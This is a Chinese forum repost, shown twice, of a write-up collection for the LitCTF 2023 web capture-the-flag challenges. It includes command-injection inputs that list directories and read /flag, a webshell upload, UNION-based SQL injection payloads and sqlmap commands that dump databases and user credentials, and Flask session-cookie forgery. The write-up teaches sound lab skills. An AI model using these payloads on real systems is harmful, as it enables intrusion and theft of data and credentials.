【易】【LitCTF-2023】Web题目 WriteUp 合集
- 内容介绍
- 文章标签
- 相关推荐
【LitCTF-2023】Web题目 WriteUp 合集
题目链接:
- [LitCTF 2023]我Flag呢?
- [LitCTF 2023]就当无事发生
- [LitCTF 2023]导弹迷踪
- [LitCTF 2023]Follow me and 娱乐 me
- [LitCTF 2023]Ping
- [LitCTF 2023]1zjs
- [LitCTF 2023]作业管理系统
- [LitCTF 2023]PHP是世界上最好的语言!!
- [LitCTF 2023]Vim yyds
- [LitCTF 2023]这是什么?SQL !注一下 !
- [LitCTF 2023]Fla娱乐击就送!
- [LitCTF 2023]彩蛋
【LitCTF 2023】我Flag呢?
题目知识标签
信息收集、源码泄漏、代码审计
WP
直接代码审计F12或CTRL+U查看源代码

image1920×1050 278 KB
在代码注释找到flag

FLAG
NSSCTF{91737e4e-5797-4afb-80de-e6ec1c8f0177}
CTF所用工具总结
- 浏览器
难度
※(一颗星,送分)
【LitCTF 2023】就当无事发生
题目知识标签
.git泄露、信息收集
WP
image899×373 20.3 KB
在题目描述页面可以发现一个GitHub page
根据下面的描述可以了解到作者不小心(并非)将flag推送到了仓库 但后来又重新部署 可以猜测到flag存在于仓库的历史版本
根据GitHub page的特点 可以很快找到作者github主页
从而找到对应的github仓库
::github{repo=“ProbiusOfficial/ProbiusOfficial.github.io”}
image1632×930 66.3 KB
在仓库的commits中可以找到历史推送
经过查找 可以找到历史推送遗留的flag
image1785×964 83.5 KB
image2520×1230 250 KB
FLAG
NSSCTF{g1thub_c0mmit_1s_s0_us3ful}
CTF所用工具总结
- 浏览器
难度
※※(两颗星,超简单)
【LitCTF 2023】导弹迷踪
题目知识标签
JS分析、信息收集、源码泄漏
WP
根据题目描述可知 我们可以分析js得出flag 也可以玩到第六关得出flag
方法一:
玩到第六关,然后拿到flag
方法二:
代码审计 我们可以发现有好几个 关于游戏类的js
image2560×1400 302 KB
我们可以根据名称大致筛选出更有可能藏有flag的js进行分析
这里根据名称 猜测出藏在src/main.js src/game.js中
于是开始分析js文件
打开src/game.js文件
思路:当我们玩到第六关的时候会弹出flag 所以我们可以猜测他有个变量存储关卡 然后判断变量值是否为6 同时 游戏一般以level来表示关卡数 我们便可以猜测变量名称与level相关
所以我们在js文件中检索"if(xxxx === 6)"类似的东西
我这里直接在js文件中搜索6 很幸运的直接找到了flag
image2558×1221 209 KB
FLAG
NSSCTF{y0u_w1n_th1s_!!!}
CTF所用工具总结
- 浏览器
难度
※※(两颗星,超简单)
【LitCTF 2023】Follow me and 娱乐 me
题目知识标签
HTTP协议、POST注入、源码泄漏
WP
image767×538 21.3 KB
我们发现按钮不能使用 打开开发者工具进行代码审计
可以发现这个题就没打算让大家用按钮
image804×528 11.1 KB
不过我们可以直接对页面进行传参
我们可以使用娱乐bar插件
image2053×1009 176 KB
直接用娱乐bar进行post请求 同时传入get参数
输入完之后直接EXECUTE 得到flag
FLAG
NSSCTF{53c511ed-8493-4622-b87d-f5f1fdbc5013}
CTF所用工具总结
- 浏览器
- HackBar插件
难度
※※(两颗星,超简单)
【LitCTF 2023】Ping
题目知识标签
RCE、前端绕过、Linux命令
WP
image593×316 5.3 KB
我们尝试ping一下127.0.0.1
image592×611 11.6 KB
我们可以猜测到当我们输入“127.0.0.1”时 被拼接为“ping 127.0.0.1"
根据Linux的特点 我们可以使用命令连接符 然后运行我们想要的指令
关于linux命令连接符:
Linux命令连接符主要有以下几种:
;(分号):表示顺序执行,每个命令执行完毕后继续执行下一个命令。&&(逻辑与):表示顺序执行,只有前一个命令执行成功后,才会执行下一个命令。||(逻辑或):表示顺序执行,只有前一个命令执行失败后,才会执行下一个命令。&(与符号):表示在后台执行命令。|(管道符号):表示将前一个命令的输出作为输入传递给下一个命令。
我们可以使用“||”连接我们先要的命令
当我们传入"127.0.0.1 || ls /" 命令会被拼接为“ping 127.0.0.1 || ls /” 运行“ls /”命令
于是进行尝试
image717×698 17.3 KB
这里可以了解到他进行了前端的验证
不过我们可以通过修改数据包或禁用js娱乐进行发送数据
这里使用burp suite
我们先输入正常ip绕过js验证 然后抓取数据包修改
image1586×877 63.3 KB
抓取到数据包后 我们修改post里面的内容
将“127.0.0.1”改为“127.0.0.1 || ls /“
image732×929 12.1 KB
ok 我们这里发现命令运行成功而且正常回显
我们发现目录根目录中有个flag文件
使用cat命令读取
使用同样的方法将cat命令拼接进去“||cat /flag”
image783×445 10 KB
FLAG
NSSCTF{f2166a2a-76f5-451c-8396-e2a445df2afe}
CTF所用工具总结
- 浏览器
- burp suite
难度
※※※(三颗星,简单)
【LitCTF 2023】1zjs
题目知识标签
JS分析、信息收集、代码审计
WP
代码审计可以找到一个js
分析js
image782×268 61.6 KB
找到了一个名为 /f@k3f1ag.php 的文件
image635×209 66.6 KB
(f@k3我还以为是fake 以为找错了 实际上是Fuck的意思 意为JSFuck编码)
打开发现如下内容
image1079×475 356 KB
全部是由[] + ! ()组成
看似毫无意义 但flag却正在如此
由亲爱的百度先生可以了解到这是jsfuck编码
(是我孤陋寡闻了)
JSFuck是基于JavaScript原子部分的深奥和教育性编程风格。它仅仅使用六个不同的字符来编写和执行代码。
由csdn可知
它不依赖于浏览器,因此可以在Node.js上运行。
方法一:直接在控制台运行
image1079×590 287 KB
方法二:解码网站
image1021×447 108 KB
FLAG
NSSCTF{a07be3a8-e644-4683-bd14-57ff63c7e21e}
CTF所用工具总结
- 浏览器
- burp suite
难度
※※※※(四颗星,一般)
【LitCTF 2023】作业管理系统
题目知识标签
文件上传、弱口令、RCE
WP
打开题目发现是登录页面
代码审计可以发现账号密码
image2257×615 37.4 KB
输入账号密码进行登录
image1558×888 42.6 KB
在上传文件页面进行一句话木马上传
上传成功之后使用蚁剑连接
image1026×692 64.9 KB
在根目录可以找到flag文件得取flag
image1026×692 37.6 KB
FLAG
NSSCTF{b93762f3-5377-481f-85e1-54d696776843}
CTF所用工具总结
- 浏览器
- AntSword
难度
※※※(三颗星,简单)
【LitCTF 2023】PHP是世界上最好的语言!!
题目知识标签
RCE、PHP、无参RCE
WP
题目简介提示:Flag位于根目录
思路就是找根目录里面的flag文件
image1760×1023 385 KB
根据页面提示 RUN CODE 提示我们框内应为什么命令
我们尝试运行php代码
image1685×777 298 KB
发现可以运行 通过Linux命令 ls / 和cat来查看flag文件得到flag
image1785×929 363 KB
FLAG
NSSCTF{5c5b0c25-526d-4fb2-8fe8-82a44b59a673}
CTF所用工具总结
- 浏览器
难度
※※※(三颗星,简单)
【LitCTF 2023】Vim yyds
题目知识标签
vim泄漏、RCE、源码泄漏
WP
题目打开提示vim
image1128×585 46.8 KB
这边可以猜测vim泄露 文件后缀为.swp 即index.php.swp
如果我们不知道也可以用 dirsearch 工具进行扫描
image979×443 6.46 KB
指令为 dirsearch -u {目标url}
可以扫描出index.php.swp文件 这里尝试访问
下载到目标文件 使用010 editor打开分析
image882×664 61.2 KB
分析代码得出payload
image1096×644 75.6 KB
使用post请求 传参
cmd={linux命令}&password=R2l2ZV9NZV9Zb3VyX0ZsYWc=
使用ls / 找到根目录flag文件
使用cat /flag 读取文件得到flag
image1511×607 87.5 KB
FLAG
NSSCTF{26723c05-e07b-44bd-a6c0-e9949452abcb}
CTF所用工具总结
- 浏览器
- 娱乐 bar
- dirsearch
- 010 editor
难度
※※※※(四颗星,一般)
【LitCTF 2023】这是什么?SQL !注一下 !
题目知识标签
SQL注入、时间盲注、布尔盲注
WP
方法一:手动注入
这题目比较简单 直接把Key Source给出
<?php
$sql = "SELECT username,password FROM users WHERE id = ".'(((((('.$_GET["id"].'))))))';
$result = $conn->query($sql);
Executed Operations:
SELECT username,password FROM users WHERE id = (((((())))))
我们可以直接得出是字符型 然后需要“))))))”进行闭合
而且可以由 SELECT username,password FROM 得出字段长度为 2
接下来就要判断注释符
尝试 “–”:
image642×173 4.73 KB
查询出错 注释符不是“–”
尝试“#”:
image586×170 5.66 KB
查询成功 注释符是"#"
接下来就可以依次构建payload
手动注入可以使用娱乐bar内预设语句
查库payload
?id=1)))))) union select 1,group_concat(schema_name) from information_schema.schemata %23
image1920×950 234 KB
查库 长度和回显位置 这个题测试后发现1和2位置都能进行回显
直接execute 发现查询失败 分析查询语句
image1611×1090 209 KB
我们可以发现 娱乐bar 中的 # 被忽略
这边使用 # 的url编码即可
image1640×1056 286 KB
查询到以下数据库
information_schema,mysql,ctftraining,performance_schema,test,ctf
然后就是常规的查表查列查数据 不进行过多解释了
这里选择ctftraining数据库 它名称比较可疑 如果不是可以再进行其他数据库尝试
查表payload
?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctftraining" %23
image1641×1029 190 KB
找到了一个名为flag的表
查列payload
?id=1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema='ctftraining' %23
image1599×959 237 KB
接下来直接查询数据即可
查数据payload
?id=1)))))) union select 1,flag from ctftraining.flag %23
image1592×984 297 KB
得出flag
方法二:sqlmap注入
直接查库
python sqlmap.py -u http://node5.anna.nssctf.cn:23615/?id=1 --dbs
image1044×420 6.61 KB
查表
python sqlmap.py -u http://node5.anna.nssctf.cn:23615/?id=1 -D ctftraining --tables
(触发时间盲注 速度较慢)
image1684×731 17.2 KB
查列
python sqlmap.py -u http://node5.anna.nssctf.cn:23615/?id=1 -D ctftraining -T flag --columns
(触发时间盲注 速度较慢)
image1684×731 17.3 KB
查询数据
python sqlmap.py -u http://node5.anna.nssctf.cn:23615/?id=1 -D ctftraining -T flag -C flag --dump
(触发时间盲注 速度较慢)
image1684×823 20.3 KB
FLAG
NSSCTF{24cbda17-c360-4112-9ba3-93cb9798dfea}
CTF所用工具总结
- 浏览器
- 娱乐 bar
- sqlmap
难度
※※※※(四颗星,一般)
【LitCTF 2023】Fla娱乐击就送!
题目知识标签
Cookie伪造、Flask、Ejs
WP
打开随便输入个名字
点击拿flag提示只有管理员才能拿flag
image655×279 11.7 KB
返回初始页面
输入admin 提示你并非管理员
image699×288 12.3 KB
我们可以由此判断出管理员名称为admin
我们输入任意值后 在拿flag分析数据包
找到了cookie值中 存在session值
eyJuYW1lIjoiMSJ9.aRiRSQ.qRcMu-i6fQDODuj7-p9g4N4ZOM8
分析session值 进行base64解密
image858×674 29.4 KB
发现session是被加密过的base64数据 于是分析框架以做到session数据的处理
我们可以猜测这个题应该是构造admin的session拿flag
通过Wappalyzer插件分析网站框架为Flask
image751×668 21.9 KB
根据flask框架特点 我们可以发现他会创建一个密钥进行加密
我们要爆破出密钥 这里使用flask-unsign工具进行爆破
flask-unsign --unsign --cookie "cookie" -w "wordlist file" --no-literal-eval
发现我们使用常见的字典后无法娱乐
image917×108 1.97 KB
而题目也不会这么难
于是我们根据题目相关信息进行密钥猜测
发现密钥就是LitCTF
根据此密钥 我们使用 flask-session-cookie-manager 工具构造session
python flask_session_cookie_manager3.py encode -s "LitCTF" -t "{'name':'admin'}"
得到构造后的session为eyJuYW1lIjoiYWRtaW4ifQ.aRiYLQ.1chaPrijlkgD2V9KFs1-yD-5lCY
我们使用 burp suite 将所得的session值封装到数据包中
image2285×893 131 KB
发送数据包拿到flag
image1605×243 18.8 KB
FLAG
NSSCTF{ee937afc-f3de-42c3-a86a-dfa71382429f}
CTF所用工具总结
- 浏览器
- flask-unsign
- Wappalyzer
- burp suite
- flask-session-cookie-manager
难度
※※※※※※(六颗星,难)
【LitCTF 2023】彩蛋
题目知识标签
其他
WP
题目提示:彩蛋分布于 我Flag呢 Follow me and 娱乐 me 作业管理系统 狠狠的注入 四个题目 中
part1(我Flag呢)
image1920×852 280 KB
在控制台页面发现彩蛋提示
输入对应提示指令giveMeEgg()得到第一部分
image780×588 19.6 KB
LitCTF{First_t0_The_k3y!(1/?)
part2(Follow me and 娱乐 me)
在我们完成这道题的时候 有一行绿的提示
image859×581 25.1 KB
于是我们测试备份文件名称 使用 dirsearch 查询目录
python dirsearch.py -u http://node5.anna.nssctf.cn:28775/
image803×177 2.45 KB
下载目录中的 www.zip 文件
image1399×279 21.8 KB
分析文件
我们可以在index.php.bak文件中找到这一部分flag
image685×372 17.4 KB
_R3ady_Pl4yer_000ne_ (3/?)
part3(作业管理系统)
依旧登录系统
在文件上传页面发现远程下载示例
image2034×799 44.5 KB
打开示例链接 获得此部分flag
image723×363 10.1 KB
_S0_ne3t? (2/?)
part4(狠狠的注入)
在我们做这个题的时候 还有一个名为ctf的数据库
对这个数据库进行查表
查表payload
?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctf" %23
image724×257 9.07 KB
查列payload
?id=1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='ctf' %23
image678×386 26.8 KB
查数据payload
?id=1)))))) union select username,password from ctf.users %23
image736×257 8.89 KB
得到此部分flag (当然可以用sqlmap)
F1rst_to_Th3_eggggggggg!} (4/4)
合并四个部分flag得到最后flag
NSSCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}
FLAG
NSSCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}
CTF所用工具总结
- 浏览器
- dirsearch
- sqlmap
难度
※※※※(四颗星,一般)
总结
这套题总体难度比较简单,而且还挺有趣的,适合Web新手入门,去多方位了解Web题的不同解题角度,题目的writeup可以当作思考路线,题目质量不错,值得一做~~
本人博客原文: https://chuzoux.top/posts/litctf-2023/
网友解答:--【壹】--:
太强了,大佬
【LitCTF-2023】Web题目 WriteUp 合集
题目链接:
- [LitCTF 2023]我Flag呢?
- [LitCTF 2023]就当无事发生
- [LitCTF 2023]导弹迷踪
- [LitCTF 2023]Follow me and 娱乐 me
- [LitCTF 2023]Ping
- [LitCTF 2023]1zjs
- [LitCTF 2023]作业管理系统
- [LitCTF 2023]PHP是世界上最好的语言!!
- [LitCTF 2023]Vim yyds
- [LitCTF 2023]这是什么?SQL !注一下 !
- [LitCTF 2023]Fla娱乐击就送!
- [LitCTF 2023]彩蛋
【LitCTF 2023】我Flag呢?
题目知识标签
信息收集、源码泄漏、代码审计
WP
直接代码审计F12或CTRL+U查看源代码

image1920×1050 278 KB
在代码注释找到flag

FLAG
NSSCTF{91737e4e-5797-4afb-80de-e6ec1c8f0177}
CTF所用工具总结
- 浏览器
难度
※(一颗星,送分)
【LitCTF 2023】就当无事发生
题目知识标签
.git泄露、信息收集
WP
image899×373 20.3 KB
在题目描述页面可以发现一个GitHub page
根据下面的描述可以了解到作者不小心(并非)将flag推送到了仓库 但后来又重新部署 可以猜测到flag存在于仓库的历史版本
根据GitHub page的特点 可以很快找到作者github主页
从而找到对应的github仓库
::github{repo=“ProbiusOfficial/ProbiusOfficial.github.io”}
image1632×930 66.3 KB
在仓库的commits中可以找到历史推送
经过查找 可以找到历史推送遗留的flag
image1785×964 83.5 KB
image2520×1230 250 KB
FLAG
NSSCTF{g1thub_c0mmit_1s_s0_us3ful}
CTF所用工具总结
- 浏览器
难度
※※(两颗星,超简单)
【LitCTF 2023】导弹迷踪
题目知识标签
JS分析、信息收集、源码泄漏
WP
根据题目描述可知 我们可以分析js得出flag 也可以玩到第六关得出flag
方法一:
玩到第六关,然后拿到flag
方法二:
代码审计 我们可以发现有好几个 关于游戏类的js
image2560×1400 302 KB
我们可以根据名称大致筛选出更有可能藏有flag的js进行分析
这里根据名称 猜测出藏在src/main.js src/game.js中
于是开始分析js文件
打开src/game.js文件
思路:当我们玩到第六关的时候会弹出flag 所以我们可以猜测他有个变量存储关卡 然后判断变量值是否为6 同时 游戏一般以level来表示关卡数 我们便可以猜测变量名称与level相关
所以我们在js文件中检索"if(xxxx === 6)"类似的东西
我这里直接在js文件中搜索6 很幸运的直接找到了flag
image2558×1221 209 KB
FLAG
NSSCTF{y0u_w1n_th1s_!!!}
CTF所用工具总结
- 浏览器
难度
※※(两颗星,超简单)
【LitCTF 2023】Follow me and 娱乐 me
题目知识标签
HTTP协议、POST注入、源码泄漏
WP
image767×538 21.3 KB
我们发现按钮不能使用 打开开发者工具进行代码审计
可以发现这个题就没打算让大家用按钮
image804×528 11.1 KB
不过我们可以直接对页面进行传参
我们可以使用娱乐bar插件
image2053×1009 176 KB
直接用娱乐bar进行post请求 同时传入get参数
输入完之后直接EXECUTE 得到flag
FLAG
NSSCTF{53c511ed-8493-4622-b87d-f5f1fdbc5013}
CTF所用工具总结
- 浏览器
- HackBar插件
难度
※※(两颗星,超简单)
【LitCTF 2023】Ping
题目知识标签
RCE、前端绕过、Linux命令
WP
image593×316 5.3 KB
我们尝试ping一下127.0.0.1
image592×611 11.6 KB
我们可以猜测到当我们输入“127.0.0.1”时 被拼接为“ping 127.0.0.1"
根据Linux的特点 我们可以使用命令连接符 然后运行我们想要的指令
关于linux命令连接符:
Linux命令连接符主要有以下几种:
;(分号):表示顺序执行,每个命令执行完毕后继续执行下一个命令。&&(逻辑与):表示顺序执行,只有前一个命令执行成功后,才会执行下一个命令。||(逻辑或):表示顺序执行,只有前一个命令执行失败后,才会执行下一个命令。&(与符号):表示在后台执行命令。|(管道符号):表示将前一个命令的输出作为输入传递给下一个命令。
我们可以使用“||”连接我们先要的命令
当我们传入"127.0.0.1 || ls /" 命令会被拼接为“ping 127.0.0.1 || ls /” 运行“ls /”命令
于是进行尝试
image717×698 17.3 KB
这里可以了解到他进行了前端的验证
不过我们可以通过修改数据包或禁用js娱乐进行发送数据
这里使用burp suite
我们先输入正常ip绕过js验证 然后抓取数据包修改
image1586×877 63.3 KB
抓取到数据包后 我们修改post里面的内容
将“127.0.0.1”改为“127.0.0.1 || ls /“
image732×929 12.1 KB
ok 我们这里发现命令运行成功而且正常回显
我们发现目录根目录中有个flag文件
使用cat命令读取
使用同样的方法将cat命令拼接进去“||cat /flag”
image783×445 10 KB
FLAG
NSSCTF{f2166a2a-76f5-451c-8396-e2a445df2afe}
CTF所用工具总结
- 浏览器
- burp suite
难度
※※※(三颗星,简单)
【LitCTF 2023】1zjs
题目知识标签
JS分析、信息收集、代码审计
WP
代码审计可以找到一个js
分析js
image782×268 61.6 KB
找到了一个名为 /f@k3f1ag.php 的文件
image635×209 66.6 KB
(f@k3我还以为是fake 以为找错了 实际上是Fuck的意思 意为JSFuck编码)
打开发现如下内容
image1079×475 356 KB
全部是由[] + ! ()组成
看似毫无意义 但flag却正在如此
由亲爱的百度先生可以了解到这是jsfuck编码
(是我孤陋寡闻了)
JSFuck是基于JavaScript原子部分的深奥和教育性编程风格。它仅仅使用六个不同的字符来编写和执行代码。
由csdn可知
它不依赖于浏览器,因此可以在Node.js上运行。
方法一:直接在控制台运行
image1079×590 287 KB
方法二:解码网站
image1021×447 108 KB
FLAG
NSSCTF{a07be3a8-e644-4683-bd14-57ff63c7e21e}
CTF所用工具总结
- 浏览器
- burp suite
难度
※※※※(四颗星,一般)
【LitCTF 2023】作业管理系统
题目知识标签
文件上传、弱口令、RCE
WP
打开题目发现是登录页面
代码审计可以发现账号密码
image2257×615 37.4 KB
输入账号密码进行登录
image1558×888 42.6 KB
在上传文件页面进行一句话木马上传
上传成功之后使用蚁剑连接
image1026×692 64.9 KB
在根目录可以找到flag文件得取flag
image1026×692 37.6 KB
FLAG
NSSCTF{b93762f3-5377-481f-85e1-54d696776843}
CTF所用工具总结
- 浏览器
- AntSword
难度
※※※(三颗星,简单)
【LitCTF 2023】PHP是世界上最好的语言!!
题目知识标签
RCE、PHP、无参RCE
WP
题目简介提示:Flag位于根目录
思路就是找根目录里面的flag文件
image1760×1023 385 KB
根据页面提示 RUN CODE 提示我们框内应为什么命令
我们尝试运行php代码
image1685×777 298 KB
发现可以运行 通过Linux命令 ls / 和cat来查看flag文件得到flag
image1785×929 363 KB
FLAG
NSSCTF{5c5b0c25-526d-4fb2-8fe8-82a44b59a673}
CTF所用工具总结
- 浏览器
难度
※※※(三颗星,简单)
【LitCTF 2023】Vim yyds
题目知识标签
vim泄漏、RCE、源码泄漏
WP
题目打开提示vim
image1128×585 46.8 KB
这边可以猜测vim泄露 文件后缀为.swp 即index.php.swp
如果我们不知道也可以用 dirsearch 工具进行扫描
image979×443 6.46 KB
指令为 dirsearch -u {目标url}
可以扫描出index.php.swp文件 这里尝试访问
下载到目标文件 使用010 editor打开分析
image882×664 61.2 KB
分析代码得出payload
image1096×644 75.6 KB
使用post请求 传参
cmd={linux命令}&password=R2l2ZV9NZV9Zb3VyX0ZsYWc=
使用ls / 找到根目录flag文件
使用cat /flag 读取文件得到flag
image1511×607 87.5 KB
FLAG
NSSCTF{26723c05-e07b-44bd-a6c0-e9949452abcb}
CTF所用工具总结
- 浏览器
- 娱乐 bar
- dirsearch
- 010 editor
难度
※※※※(四颗星,一般)
【LitCTF 2023】这是什么?SQL !注一下 !
题目知识标签
SQL注入、时间盲注、布尔盲注
WP
方法一:手动注入
这题目比较简单 直接把Key Source给出
<?php
$sql = "SELECT username,password FROM users WHERE id = ".'(((((('.$_GET["id"].'))))))';
$result = $conn->query($sql);
Executed Operations:
SELECT username,password FROM users WHERE id = (((((())))))
我们可以直接得出是字符型 然后需要“))))))”进行闭合
而且可以由 SELECT username,password FROM 得出字段长度为 2
接下来就要判断注释符
尝试 “–”:
image642×173 4.73 KB
查询出错 注释符不是“–”
尝试“#”:
image586×170 5.66 KB
查询成功 注释符是"#"
接下来就可以依次构建payload
手动注入可以使用娱乐bar内预设语句
查库payload
?id=1)))))) union select 1,group_concat(schema_name) from information_schema.schemata %23
image1920×950 234 KB
查库 长度和回显位置 这个题测试后发现1和2位置都能进行回显
直接execute 发现查询失败 分析查询语句
image1611×1090 209 KB
我们可以发现 娱乐bar 中的 # 被忽略
这边使用 # 的url编码即可
image1640×1056 286 KB
查询到以下数据库
information_schema,mysql,ctftraining,performance_schema,test,ctf
然后就是常规的查表查列查数据 不进行过多解释了
这里选择ctftraining数据库 它名称比较可疑 如果不是可以再进行其他数据库尝试
查表payload
?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctftraining" %23
image1641×1029 190 KB
找到了一个名为flag的表
查列payload
?id=1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema='ctftraining' %23
image1599×959 237 KB
接下来直接查询数据即可
查数据payload
?id=1)))))) union select 1,flag from ctftraining.flag %23
image1592×984 297 KB
得出flag
方法二:sqlmap注入
直接查库
python sqlmap.py -u http://node5.anna.nssctf.cn:23615/?id=1 --dbs
image1044×420 6.61 KB
查表
python sqlmap.py -u http://node5.anna.nssctf.cn:23615/?id=1 -D ctftraining --tables
(触发时间盲注 速度较慢)
image1684×731 17.2 KB
查列
python sqlmap.py -u http://node5.anna.nssctf.cn:23615/?id=1 -D ctftraining -T flag --columns
(触发时间盲注 速度较慢)
image1684×731 17.3 KB
查询数据
python sqlmap.py -u http://node5.anna.nssctf.cn:23615/?id=1 -D ctftraining -T flag -C flag --dump
(触发时间盲注 速度较慢)
image1684×823 20.3 KB
FLAG
NSSCTF{24cbda17-c360-4112-9ba3-93cb9798dfea}
CTF所用工具总结
- 浏览器
- 娱乐 bar
- sqlmap
难度
※※※※(四颗星,一般)
【LitCTF 2023】Fla娱乐击就送!
题目知识标签
Cookie伪造、Flask、Ejs
WP
打开随便输入个名字
点击拿flag提示只有管理员才能拿flag
image655×279 11.7 KB
返回初始页面
输入admin 提示你并非管理员
image699×288 12.3 KB
我们可以由此判断出管理员名称为admin
我们输入任意值后 在拿flag分析数据包
找到了cookie值中 存在session值
eyJuYW1lIjoiMSJ9.aRiRSQ.qRcMu-i6fQDODuj7-p9g4N4ZOM8
分析session值 进行base64解密
image858×674 29.4 KB
发现session是被加密过的base64数据 于是分析框架以做到session数据的处理
我们可以猜测这个题应该是构造admin的session拿flag
通过Wappalyzer插件分析网站框架为Flask
image751×668 21.9 KB
根据flask框架特点 我们可以发现他会创建一个密钥进行加密
我们要爆破出密钥 这里使用flask-unsign工具进行爆破
flask-unsign --unsign --cookie "cookie" -w "wordlist file" --no-literal-eval
发现我们使用常见的字典后无法娱乐
image917×108 1.97 KB
而题目也不会这么难
于是我们根据题目相关信息进行密钥猜测
发现密钥就是LitCTF
根据此密钥 我们使用 flask-session-cookie-manager 工具构造session
python flask_session_cookie_manager3.py encode -s "LitCTF" -t "{'name':'admin'}"
得到构造后的session为eyJuYW1lIjoiYWRtaW4ifQ.aRiYLQ.1chaPrijlkgD2V9KFs1-yD-5lCY
我们使用 burp suite 将所得的session值封装到数据包中
image2285×893 131 KB
发送数据包拿到flag
image1605×243 18.8 KB
FLAG
NSSCTF{ee937afc-f3de-42c3-a86a-dfa71382429f}
CTF所用工具总结
- 浏览器
- flask-unsign
- Wappalyzer
- burp suite
- flask-session-cookie-manager
难度
※※※※※※(六颗星,难)
【LitCTF 2023】彩蛋
题目知识标签
其他
WP
题目提示:彩蛋分布于 我Flag呢 Follow me and 娱乐 me 作业管理系统 狠狠的注入 四个题目 中
part1(我Flag呢)
image1920×852 280 KB
在控制台页面发现彩蛋提示
输入对应提示指令giveMeEgg()得到第一部分
image780×588 19.6 KB
LitCTF{First_t0_The_k3y!(1/?)
part2(Follow me and 娱乐 me)
在我们完成这道题的时候 有一行绿的提示
image859×581 25.1 KB
于是我们测试备份文件名称 使用 dirsearch 查询目录
python dirsearch.py -u http://node5.anna.nssctf.cn:28775/
image803×177 2.45 KB
下载目录中的 www.zip 文件
image1399×279 21.8 KB
分析文件
我们可以在index.php.bak文件中找到这一部分flag
image685×372 17.4 KB
_R3ady_Pl4yer_000ne_ (3/?)
part3(作业管理系统)
依旧登录系统
在文件上传页面发现远程下载示例
image2034×799 44.5 KB
打开示例链接 获得此部分flag
image723×363 10.1 KB
_S0_ne3t? (2/?)
part4(狠狠的注入)
在我们做这个题的时候 还有一个名为ctf的数据库
对这个数据库进行查表
查表payload
?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctf" %23
image724×257 9.07 KB
查列payload
?id=1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='ctf' %23
image678×386 26.8 KB
查数据payload
?id=1)))))) union select username,password from ctf.users %23
image736×257 8.89 KB
得到此部分flag (当然可以用sqlmap)
F1rst_to_Th3_eggggggggg!} (4/4)
合并四个部分flag得到最后flag
NSSCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}
FLAG
NSSCTF{First_t0_The_k3y!_S0_ne3t?_R3ady_Pl4yer_000ne_F1rst_to_Th3_eggggggggg!}
CTF所用工具总结
- 浏览器
- dirsearch
- sqlmap
难度
※※※※(四颗星,一般)
总结
这套题总体难度比较简单,而且还挺有趣的,适合Web新手入门,去多方位了解Web题的不同解题角度,题目的writeup可以当作思考路线,题目质量不错,值得一做~~
本人博客原文: https://chuzoux.top/posts/litctf-2023/
网友解答:--【壹】--:
太强了,大佬
